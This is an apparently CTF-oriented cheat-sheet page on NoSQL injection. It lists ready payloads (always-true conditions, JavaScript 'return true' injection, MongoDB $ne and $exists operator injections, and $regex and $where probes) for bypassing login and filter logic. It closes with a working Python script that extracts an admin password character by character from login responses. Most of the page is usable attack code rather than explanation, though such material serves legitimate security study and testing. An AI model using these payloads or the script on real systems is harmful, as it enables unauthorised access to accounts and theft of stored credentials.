> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-17/nosql-injection/trick-0233.md).

# NoSQL Injection Data Enumeration

***

To bypass search or filter logic in a NoSQL query and enumerate all data, inject a condition that is always true into the input field.

A common payload is:

```
' || '1'=='1
```

Supplying this payload to a search or filter input can bypass the original query's criteria, causing it to return all available records instead of a filtered subset. This payload, often seen in authentication bypasses, can sometimes work in search functions if the backend reuses similar input handling. Other simple boolean bypasses might include injecting conditions directly into URL parameters like:

```
username=administrator&password=password'||'1'=='1
```

or leveraging JavaScript execution contexts if the input is evaluated:

```
username=administrator&password=password'; return true;
```

In some cases, depending on how the backend processes the input, simply commenting out the rest of the query might work:

```
username=admin&password=password'#
```

Beyond simple boolean bypasses, NoSQL databases like MongoDB use specific syntax that can be exploited. For instance, the `$ne` (not equal) operator can be used to bypass authentication or filter logic by checking if a field is not null. A payload like `username[$ne]=null&password[$ne]=null` can list all users where both fields exist. Similarly, the `$exists` operator can be used to check for the presence of a field, such as `username[$exists]=true&password[$exists]=true`. These operator injections can often be sent in URL parameters or within a JSON request body, for example:

```json
{
    "username": {"$ne": null},
    "password": {"$ne": null}
}
```

or using `$exists`:

```json
{
    "username": {"$exists": true},
    "password": {"$exists": true}
}
```

More advanced techniques involve extracting data character by character or determining data length using operators like `$regex` (regular expression) or `$where`.

For example, to check if the first character of a user's password matches 'a', a payload using `$regex` might look like:

```
username=administrator&password[$regex]=^a.*
```

The `$regex` operator is powerful for data extraction. You can test for password length using patterns like `^.{N}$` where N is the guessed length, or check a specific character `c` at position `N` using patterns like `^.{N}c` or `^.{N}c.*`. For instance, checking if the 5th character is 'x':

```
username=administrator&password[$regex]=^.{4}x.*
```

Using `$where`, which allows executing JavaScript code in some MongoDB versions, one could check the length of a password:

```
username=administrator&password[$where]=this.password.length > 0
```

Or check a specific character's ASCII value:

```
username=administrator&password[$where]=this.password.charCodeAt(0)==100
```

Alternatively, checking a specific character at a position using `$where`:

```
username=administrator&password[$where]='a'==this.password[0]
```

These techniques can be automated using scripts to extract data programmatically. A Python script using the `requests` library and the `$regex` operator can iterate through characters to guess a password:

```python
import requests
import string

url = "http://example.com/login" # Replace with target URL
chars = string.ascii_letters + string.digits + "!@#$%^&*()_+-=[]{};':\"\\|,.<>/?`~" # Characters to try
password = ""

for i in range(32): # Assuming a max password length
    for char in chars:
        payload = {
            "username": "admin", # Target username
            "password": {"$regex": "^" + password + char + ".*"}
        }
        try:
            r = requests.post(url, json=payload)
            # Adjust the success condition based on the application's response
            if "Login successful" in r.text or "Welcome admin" in r.text:
                password += char
                print(f"Found char {i+1}: {char}")
                break
        except requests.exceptions.RequestException as e:
            print(f"Request error: {e}")
            # Handle potential errors like connection issues or timeouts
            continue
    else:
        # If inner loop finishes without finding a character
        print(f"Could not find character {i+1}. Password might be shorter or contains unknown characters.")
        break

print("Final Password:", password)
```

This script demonstrates how to leverage the `$regex` injection to systematically enumerate characters by observing the application's response, typically looking for a success indicator that confirms the guessed prefix is correct. By iterating through possible characters for each position, the full password can eventually be revealed.
